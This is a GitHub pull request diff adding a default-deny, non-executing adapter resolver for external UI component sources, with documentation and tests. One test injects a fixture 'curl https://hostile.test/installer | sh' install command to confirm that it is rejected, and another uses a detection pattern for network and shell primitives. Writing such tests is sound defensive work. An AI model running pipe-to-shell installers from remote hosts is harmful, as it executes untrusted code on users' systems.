Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
66 changes: 66 additions & 0 deletions docs/wow-source-adapters.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,66 @@
# WOW Frontend source adapters and compatibility (issue #142)

Owner: `Trigenys/appfactory`. **This is a read-only recommendation system.** The actual consumer is responsible for UI code, and `EagleFox31/appfactory-project-automation` is responsible for future visual CI.

## How the catalogs fit together

| File | Role |
| --- | --- |
| `ui-registry/registry.json` | Already-shipped, Trigenys-authored native UI components; no change in #142 |
| `ui-registry/wow-sources.json` | Versioned external research inventory (#139) |
| `ui-registry/wow-review-policy.json` | Central default-deny source reuse policy (#140) |
| `ui-registry/wow-adapters.json` | #142 offline interface kinds and **possible** animation-runtime hints |
| `ui-registry/wow-resolver.mjs` | #142 deterministic, pure and fail-closed cross-source/stack decision function |
| `scripts/wow-frontend-plan.mjs` | #141 CLI, now includes `adapterResolutions` using #142 |

A second UI component registry is **not** created. The adapter file contains metadata, **not JavaScript commands**, component code, registry addresses, installation URLs, external tool credentials or secret references. In #142, there is no network access and **no tools are actually called**.

## Four technical outcomes

The resolver emits `decision` and `technicalFit` independently:

- `native`: a reviewed source's framework **and** styling assumptions match the consumer stack. This does **not** authorize automated import.
- `adapt`: the framework matches but styling differs (e.g. React/Vite plain CSS vs React/Tailwind component). A manual original adaptation to the consumer stack may be designed; do not automatically install Tailwind.
- `reference-only`: no centrally reviewed authorization, incompatible framework, guidance-only input or an optional external discovery tool. Research and design references only, no code copy.
- `unsupported`: a blocked/unknown source or invalid policy. Hard stop.

The `technicalFit` is a **nonbinding assessment**. A React/Tailwind entry may have `technicalFit: "adapt"` in React/Vite + CSS and still have `decision: "reference-only"` until centrally approved. Metadata-only license strings do not authorize source adoption.

## Source integration classes

- `external-tool`: 21st.dev Magic MCP — **optional service**, never a required dependency. The `connectedExternalTools` input is advisory only and does not trigger calls or installs.
- `component-pattern`: Magic UI, UI Layouts, beUI, React Bits, Animate UI and Motion Primitives Website — potential inspiration, with per-component dependency and license review.
- `registry-block`: Tailark marketing blocks — possible native pattern only when an actual compatible React/Tailwind consumer and an immutable license-approved source exist.
- `guidance`: Web Interface Guidelines — quality guidance, not executable component code.

The resolver covers **all nine** current source IDs. Every adapter has `executable:false` and `autoInstall:false`, and unknown adapters fail closed.

## Motion runtime handling

A source's `motionHints` are *possible dependencies of some upstream effects*; they are not audited component dependency manifests. Accepted hint tokens are `motion`, `gsap` and `three`, plus `none`.

Pass a list of **observed consumer-installed runtimes** to the resolver (from the consumer's actual `package.json`, not a guess). Returned `reuseExisting` entries indicate a runtime already present, and `needsDependencyReview` entries require per-component review before adding a new package. The resolver **never installs them**. For a plain-CSS product, choose native CSS animation when it can deliver the intent without increasing the bundle.

## Example — Commerce Factory

The existing Commerce Factory project uses React 19, Vite, TypeScript and its own CSS. It has real marketing imagery and FR/EN behavior. The planner's existing sample is:

```bash
node scripts/wow-frontend-plan.mjs \
skills/wow-frontend/examples/commerce-factory.brief.json \
ui-registry/examples/wow-react-vite-css.json
```

The returned report includes old research candidates (`sources`) and the new normalized `adapterResolutions`. For a Tailwind source such as Magic UI, the new technical fit is `adapt`; the **final decision stays `reference-only`**, with installation disallowed. The listed external guideline remains a reference.

This is a non-mutating planning example; the script has **not** edited Commerce Factory or rendered any screenshots.

## Security proof and next boundaries

All source selection is pure: no executable remote steps, `npm`/`npx`, `curl | sh`, new third-party package dependencies, code downloads, Cloudflare mutations or GitHub consumer writes. Central approval still requires #140's exact commit SHA, authoritative upstream license evidence, reviewer and preserved notice. Even an artificial approved fixture returns `actions.installAutomatically:false` and `actions.executeRemote:false`.

An approved source does not bypass the **consumer's own governance** or future #99 rendered QA. External tool invocation and any actual third-party code installation will require separate approved adapters and explicit permission in future work.

Run the existing `npm run test:ui-registry` and `npm run typecheck`. CI also smoke-builds the React/Vite blueprints through its existing Impact-Aware gates.

**Non-goals:** install Magic UI or Tailark, import React Bits code, run MagicPath/21st.dev, add Tailwind/GSAP/Three to Commerce Factory, build a new component registry, or claim rendered-browser evidence.
10 changes: 7 additions & 3 deletions scripts/wow-frontend-plan.mjs
Original file line number Diff line number Diff line change
Expand Up @@ -6,6 +6,7 @@ import process from "node:process";
import { fileURLToPath } from "node:url";
import { previewWowSources, readWowRegistry } from "../ui-registry/wow-contract.mjs";
import { validateWowReviewPolicy, wowSourceDisposition } from "../ui-registry/wow-security.mjs";
import { readWowAdapters, resolveWowAdapters } from "../ui-registry/wow-resolver.mjs";

const ROOT = path.resolve(path.dirname(fileURLToPath(import.meta.url)), "..");
const POLICY_PATH = path.join(ROOT, "ui-registry", "wow-review-policy.json");
Expand Down Expand Up @@ -69,17 +70,19 @@ const phases = [
{id:"provenance",action:"Verify licenses/notices and record adopted code only under future central approvals",status:"NOT RUN"}
];

export function planWowFrontend({brief,consumer,inventory,policy}) {
export function planWowFrontend({brief,consumer,inventory,policy,adapters = readWowAdapters()}) {
const errors = [
...validateWowBrief(brief),
...validateWowReviewPolicy(policy,inventory)
];
const sources = previewWowSources(consumer,inventory);
if (!sources.ok) errors.push(...sources.errors.map((e) => "consumer/source: " + e));
if (errors.length) return {ok:false,mode:"DRY_RUN",errors,steps:[],sources:[],evidence:{}};
const resolution = resolveWowAdapters({consumer,inventory,policy,adapters});
if (!resolution.ok) errors.push(...resolution.errors.map((e) => "adapter resolution: " + e));
if (errors.length) return {ok:false,mode:"DRY_RUN",errors,steps:[],sources:[],adapterResolutions:[],evidence:{},operationsAllowed:false};
if (!consumer.enabled) {
return {ok:true,mode:"DRY_RUN",status:"DISABLED",project:brief.project,
repository:brief.repository,steps:[],sources:[],evidence:{},operationsAllowed:false};
repository:brief.repository,steps:[],sources:[],adapterResolutions:[],evidence:{},operationsAllowed:false};
}
const candidates = sources.sources.map((candidate) => ({
...candidate,
Expand All @@ -99,6 +102,7 @@ export function planWowFrontend({brief,consumer,inventory,policy}) {
unchangedStack:{...consumer.stack},
languages:[...brief.constraints.languages],
sources:candidates,
adapterResolutions:resolution.sources,
steps:phases.map((phase) => ({...phase})),
guardrails:{
preserveStack:true,truthfulProofOnly:true,reducedMotionRequired:true,
Expand Down
12 changes: 12 additions & 0 deletions skills/wow-frontend/references/source-selection.md
Original file line number Diff line number Diff line change
Expand Up @@ -20,6 +20,18 @@ node scripts/wow-frontend-plan.mjs skills/wow-frontend/examples/commerce-factory

A plan is **read-only** and uses repository-pinned metadata; it does not crawl GitHub or produce code. Invalid source IDs, permissions, malformed configs and unknown fields must fail closed. Treat the result as a candidate list for further review, never as a tested compatibility guarantee.

## Adapter/stack resolver (#142)

Use `ui-registry/wow-adapters.json` and `resolveWowAdapters()` in `ui-registry/wow-resolver.mjs` **after** verifying the source inventory, central policy and consumer config. The existing planning CLI includes an `adapterResolutions` section.

- `technicalFit: native` means frameworks/styling appear compatible; `technicalFit: adapt` signals styling translation in the **current** framework; neither grants permission.
- `decision: reference-only` denies copying/installing even if the stack technically matches.
- `decision: unsupported` blocks a source under policy or invalid metadata.
- `interfaceKind` distinguishes component patterns, registry blocks, optional external tools and guidance.
- `runtime.hints` are **unverified possible per-component runtimes**, not mandatory packages. Reuse existing libraries when appropriate; never add duplicates or install automatically.

The resolver does not invoke MagicPath, Figma, 21st.dev, any hosted plugin or any shell command. See `docs/wow-source-adapters.md` for exact contracts.

## Distinguish status from technical fit

- `blocked`: unknown, explicitly denied or policy invalid; do not use.
Expand Down
1 change: 1 addition & 0 deletions test/ui-registry.test.mjs
Original file line number Diff line number Diff line change
@@ -1,3 +1,4 @@
import "./wow-frontend-adapters.test.mjs";
import "./wow-frontend-skill.test.mjs";
import "./wow-frontend-security.test.mjs";
import "./wow-frontend-contract.test.mjs";
Expand Down
177 changes: 177 additions & 0 deletions test/wow-frontend-adapters.test.mjs
Original file line number Diff line number Diff line change
@@ -0,0 +1,177 @@
import assert from "node:assert/strict";
import fs from "node:fs";
import test from "node:test";
import { readWowRegistry } from "../ui-registry/wow-contract.mjs";
import { readWowAdapters, validateWowAdapters, resolveWowAdapters } from "../ui-registry/wow-resolver.mjs";

const inventory = readWowRegistry();
const adapters = readWowAdapters();
const policy = JSON.parse(fs.readFileSync("ui-registry/wow-review-policy.json","utf8"));
const clone = structuredClone;
const consumer = (framework="react-vite",styling="css",allow=inventory.sources.map(x=>x.id)) => ({
version:1,enabled:true,profile:"marketing-wow",
stack:{framework,styling,typescript:true},sources:{mode:"reference-only",allow},
motion:{mode:"intentional",reducedMotion:"required"}
});
const resolve = (options={}) => resolveWowAdapters({
consumer:consumer(),inventory,policy,adapters,...options
});
const approved = (id, mode="copy-adapt") => {
const s=inventory.sources.find(x=>x.id===id), SHA="f".repeat(40);
return {version:1,defaultDisposition:"reference-only",blocked:[],
approvals:[{sourceId:id,repository:s.repository,commit:SHA,spdx:"MIT",
licenseEvidenceUrl:s.repository+"/blob/"+SHA+"/LICENSE",reviewer:"TrigenysReviewer",
reviewedOn:"2026-10-10",allowedModes:[mode],noticeFile:"THIRD_PARTY_NOTICES.md"}]};
};

test("all nine sources have matching safe adapters and no installation commands",()=>{
assert.equal(adapters.adapters.length,inventory.sources.length);
assert.deepEqual(validateWowAdapters(adapters,inventory),[]);
const schema=JSON.parse(fs.readFileSync("ui-registry/schemas/wow-adapters.schema.json","utf8"));
assert.equal(schema.additionalProperties,false);
assert.equal(schema.properties.version.const,1);
for(const adapter of adapters.adapters) {
assert.equal(adapter.autoInstall,false);
assert.equal(adapter.executable,false);
assert.ok(!("installCommand" in adapter));
}
});

test("metadata source and adapters never let an unknown or spoofed entry gain code execution",()=>{
const dup=clone(adapters);
dup.adapters.push(clone(dup.adapters[0]));
assert.match(validateWowAdapters(dup,inventory).join(" "),/duplicate adapter/);
const missing=clone(adapters);
missing.adapters.pop();
assert.match(validateWowAdapters(missing,inventory).join(" "),/missing adapter/);
const unknown=clone(adapters);
unknown.adapters[0].sourceId="unlisted-registry";
assert.match(validateWowAdapters(unknown,inventory).join(" "),/unknown source/);
const kind=clone(adapters);
kind.adapters.find(a=>a.sourceId==="tailark").interfaceKind="external-tool";
assert.match(validateWowAdapters(kind,inventory).join(" "),/interface does not match/);
const remote=clone(adapters);
remote.adapters[0].installCommand="curl https://hostile.test/installer | sh";
remote.adapters[0].executable=true;
const errs=validateWowAdapters(remote,inventory).join(" ");
assert.match(errs,/unexpected field installCommand/);
assert.match(errs,/execution and automatic installation are forbidden/);
});

test("current source inventory resolves across all nine sources but never grants reuse",()=>{
const result=resolve();
assert.equal(result.ok,true);
assert.equal(result.status,"PLAN_ONLY");
assert.equal(result.operationsAllowed,false);
assert.equal(result.sources.length,9);
assert.ok(result.sources.every(x=>x.decision==="reference-only"));
assert.ok(result.sources.every(x=>x.actions.installAutomatically===false));
assert.ok(result.sources.every(x=>x.actions.copyAutomatically===false));
assert.ok(result.sources.every(x=>x.actions.executeRemote===false));
assert.deepEqual(result.sources.map(x=>x.sourceId),consumer().sources.allow);
});

test("React/Vite+plain CSS requests Tailwind adaptation but cannot install Tailwind",()=>{
const result=resolve({consumer:consumer("react-vite","css",["magic-ui","tailark","web-interface-guidelines"])});
assert.equal(result.ok,true);
const [magic,tailark,guide]=result.sources;
assert.equal(magic.technicalFit,"adapt");
assert.equal(tailark.technicalFit,"adapt");
assert.equal(guide.technicalFit,"reference-only");
assert.ok(tailark.reasons.some(x=>x.includes("no Tailwind installation")));
assert.deepEqual(tailark.approvedModes,[]);
assert.equal(tailark.decision,"reference-only");
});

test("React/Next+Tailwind is natively compatible but default policy stays research only",()=>{
const report=resolve({consumer:consumer("react-next","tailwind",["tailark","magic-ui"])});
assert.equal(report.ok,true);
assert.equal(report.sources[0].technicalFit,"native");
assert.equal(report.sources[1].technicalFit,"native");
assert.equal(report.sources[0].decision,"reference-only");
assert.ok(report.sources.every(x=>x.approvedModes.length===0));
});

test("hypothetical reviewed Tailark registry approval is manual and stack-specific",()=>{
const p=approved("tailark","registry-install");
const next=resolve({consumer:consumer("react-next","tailwind",["tailark"]),policy:p});
assert.equal(next.ok,true);
assert.equal(next.sources[0].decision,"native");
assert.deepEqual(next.sources[0].approvedModes,["registry-install"]);
assert.equal(next.sources[0].actions.installAutomatically,false);
const css=resolve({consumer:consumer("react-vite","css",["tailark"]),policy:p});
assert.equal(css.sources[0].decision,"adapt");
assert.deepEqual(css.sources[0].approvedModes,[]);
assert.equal(css.sources[0].actions.installAutomatically,false);
const vue=resolve({consumer:consumer("vue-vite","css",["tailark"]),policy:p});
assert.equal(vue.sources[0].decision,"reference-only");
assert.deepEqual(vue.sources[0].approvedModes,[]);
});

test("non-React consumers are reference-only even under synthetic central approval",()=>{
const report=resolve({
consumer:consumer("svelte-kit","css",["magic-ui","react-bits","web-interface-guidelines"]),
policy:approved("magic-ui")
});
assert.equal(report.ok,true);
assert.ok(report.sources.every(x=>x.decision==="reference-only"));
assert.ok(report.sources.every(x=>x.actions.executeRemote===false));
});

test("MCP and guidance adapters are optional, non-executable and cannot be secretly promoted",()=>{
const disconnected=resolve({consumer:consumer("react-vite","tailwind",["21st-magic-mcp","web-interface-guidelines"])});
assert.equal(disconnected.sources[0].interfaceKind,"external-tool");
assert.equal(disconnected.sources[0].optionalService,true);
assert.equal(disconnected.sources[0].externalServiceConnected,false);
assert.equal(disconnected.sources[0].decision,"reference-only");
assert.equal(disconnected.sources[1].interfaceKind,"guidance");
const connected=resolve({
consumer:consumer("react-vite","tailwind",["21st-magic-mcp"]),
connectedExternalTools:["21st-magic-mcp"]
});
assert.equal(connected.sources[0].externalServiceConnected,true);
assert.equal(connected.sources[0].decision,"reference-only");
assert.equal(connected.sources[0].actions.executeRemote,false);
const bad=resolve({connectedExternalTools:["any-unreviewed-mcp"]});
assert.equal(bad.ok,false);
assert.match(bad.errors.join(" "),/connectedExternalTools/);
});

test("existing runtime is reused; missing hints require review instead of dependency installation",()=>{
const report=resolve({
consumer:consumer("react-vite","css",["magic-ui","beui","motion-primitives-website"]),
installedMotionRuntimes:["motion"]
});
assert.equal(report.ok,true);
assert.deepEqual(report.sources[0].runtime.reuseExisting,["motion"]);
assert.deepEqual(report.sources[1].runtime.reuseExisting,["motion"]);
assert.ok(report.sources[2].runtime.needsDependencyReview.includes("gsap"));
assert.ok(report.sources[2].runtime.needsDependencyReview.includes("three"));
assert.ok(report.sources.every(x=>x.runtime.installAutomatically===false));
assert.equal(resolve({installedMotionRuntimes:["motion","motion"]}).ok,false);
assert.equal(resolve({installedMotionRuntimes:["sneaky-shell"]}).ok,false);
});

test("blocked sources and malformed policy fail closed",()=>{
const p=clone(policy);p.blocked=["magic-ui"];
const r=resolve({consumer:consumer("react-next","tailwind",["magic-ui"]),policy:p});
assert.equal(r.sources[0].decision,"unsupported");
const invalid=clone(policy);invalid.defaultDisposition="approve-everything";
const rejected=resolve({policy:invalid});
assert.equal(rejected.ok,false);
assert.equal(rejected.sources.length,0);
assert.equal(rejected.operationsAllowed,false);
});

test("disabled consumers cause no resolution and no operations",()=>{
const output=resolve({consumer:{version:1,enabled:false}});
assert.equal(output.ok,true);
assert.equal(output.status,"DISABLED");
assert.deepEqual(output.sources,[]);
assert.equal(output.operationsAllowed,false);
});

test("resolver has no network calls or child process/install shell primitives",()=>{
const text=fs.readFileSync("ui-registry/wow-resolver.mjs","utf8");
assert.doesNotMatch(text,/\b(?:fetch\s*\(|axios|child_process|execSync|spawnSync|writeFileSync|npm install|npx|curl)\b/i);
});
3 changes: 3 additions & 0 deletions test/wow-frontend-skill.test.mjs
Original file line number Diff line number Diff line change
Expand Up @@ -61,6 +61,9 @@ test("dry run uses real Commerce Factory planning fixture but does not mutate so
assert.ok(output.steps.length >= 8);
assert.ok(output.steps.every((x) => x.status === "NOT RUN"));
assert.equal(output.sources.length,consumer.sources.allow.length);
assert.equal(output.adapterResolutions.length,consumer.sources.allow.length);
assert.ok(output.adapterResolutions.every((x) => x.actions.installAutomatically === false));
assert.ok(output.adapterResolutions.every((x) => x.actions.executeRemote === false));
for (const source of output.sources) {
assert.equal(source.mode,"reference-only");
assert.equal(source.installAllowed,false);
Expand Down
Loading
Loading